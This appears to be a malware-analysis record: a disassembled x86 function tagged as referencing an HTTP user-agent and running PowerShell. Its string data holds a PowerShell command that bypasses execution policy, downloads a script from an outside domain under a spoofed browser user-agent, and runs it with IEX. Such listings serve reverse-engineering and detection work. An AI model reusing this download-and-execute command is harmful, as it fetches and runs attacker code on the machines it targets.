Function at 0x40ff60
Capabilities:
Reference http user-agent string
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c100
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1020
call fcn.0041ba20
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push ecx
push 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x101c]
push 0x17745560
mov dword [ebp - 0x101c], 0
call fcn.00404370
add esp, 0xc
test eax, eax
jne 0x40fff0
mov esi, dword [ebp - 0x101c]
mov ecx, esi
call fcn.0040ab70
cmp dword [0x936ca0], 0
jg 0x41000c
cmp dword [0x6f6c88], 0
jg 0x41000c
cmp dword [0x776c90], 0
jg 0x41000c
mov ecx, esi
call fcn.004042c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041048f
mov esp, ebp
pop ebp
ret
mov edx, 0x428920
mov ecx, esi
call fcn.0040ccb0
mov edx, 0x428928
mov ecx, esi
call fcn.0040ccb0
mov edx, 0x428930
mov ecx, esi
call fcn.0040ccb0
mov edx, 0x428938
mov ecx, esi
call fcn.0040ccb0
mov edx, 0x428940
mov ecx, esi
call fcn.0040ccb0
mov edx, 0x428948
mov ecx, esi
call fcn.0040ccb0
mov edx, 0x428950
mov ecx, esi
call fcn.0040ccb0
mov bl, byte [0xb376c8]
lea eax, [ebp - 0x818]
push 0x400
push ebx
push eax
call fcn.00411910
add esp, 0xc
lea ecx, [ebp - 0x818]
cmp word [ebp - 0x818], 0
mov edx, str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__brewdogebar.com_code.vue__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
je 0x410099
add ecx, 2
cmp word [ecx], 0
jne 0x410090
sub ecx, str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__brewdogebar.com_code.vue__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
nop
movzx eax, word [edx]
lea edx, [edx + 2]
mov word [ecx + edx - 2], ax
test ax, ax
jne 0x4100a0
push 0x400
lea eax, [ebp - 0x1018]
push ebx
push eax
call fcn.00411910
mov edx, 0x9c
add esp, 0xc
lea ecx, [edx - 0x68]
call fcn.00410380
push 0x400
lea ecx, [ebp - 0x1018]
push ecx
push 0xa7c2a8
call eax
dec eax
cmp eax, 0x3fe
ja 0x41011c
cmp word [ebp - 0x1018], 0
je 0x41011c
mov edx, 0x6e
lea ecx, [edx - 0x35]
call fcn.00410380
push 0
push 0
lea ecx, [ebp - 0x818]
push ecx
lea ecx, [ebp - 0x1018]
push ecx
push 0
push 0
call eax
mov edx, 0x176
mov ecx, 0x34
call fcn.00410380
push 1
push esi
call eax
test eax, eax
je 0x410153
xorps xmm0, xmm0
xor ebx, ebx
movlpd qword [ebp - 0x1028], xmm0
mov edi, 9
mov eax, dword [ebp - 0x1028]
xor esi, esi
jmp 0x410205
mov ecx, esi
call fcn.00402d00
mov ebx, dword [esi + 0x24]
mov edi, dword [esi + 0x20]
mov eax, edi
test ebx, ebx
jne 0x4101b9
test edi, edi
jne 0x41016f
lea edi, [eax + 0xa]
jmp 0x410174
cmp eax, 9
je 0x4101a2
mov ecx, dword [esi + 0x80]
test ecx, ecx
je 0x410183
call fcn.00404840
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x41018f
call fcn.00404840
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x41019b
call fcn.00404840
mov ecx, esi
call fcn.00404840
xorps xmm0, xmm0
xor ebx, ebx
movlpd qword [ebp - 0x1028], xmm0
xor esi, esi
mov eax, dword [ebp - 0x1028]
jmp 0x410205
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x80]
mov dword [ebp - 0x101c], eax
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x1020], eax
test ecx, ecx
je 0x4101da
call fcn.00404840
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x4101e6
call fcn.00404840
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4101f2
call fcn.00404840
mov ecx, esi
call fcn.00404840
mov esi, dword [ebp - 0x101c]
mov eax, dword [ebp - 0x1020]
test edi, edi
jne 0x40fff0
push eax
push esi
push 0xa786a8
mov edx, 0xa7d0a8
mov ecx, 0xa794a8
call fcn.0040efb0
add esp, 0xc
lea ecx, [edi + 0x34]
mov edx, 0x96
call fcn.00410380
push esi
call eax
mov edx, 0x97
lea ecx, [edi + 0x34]
call fcn.00410380
push ebx
call eax
jmp 0x40fff0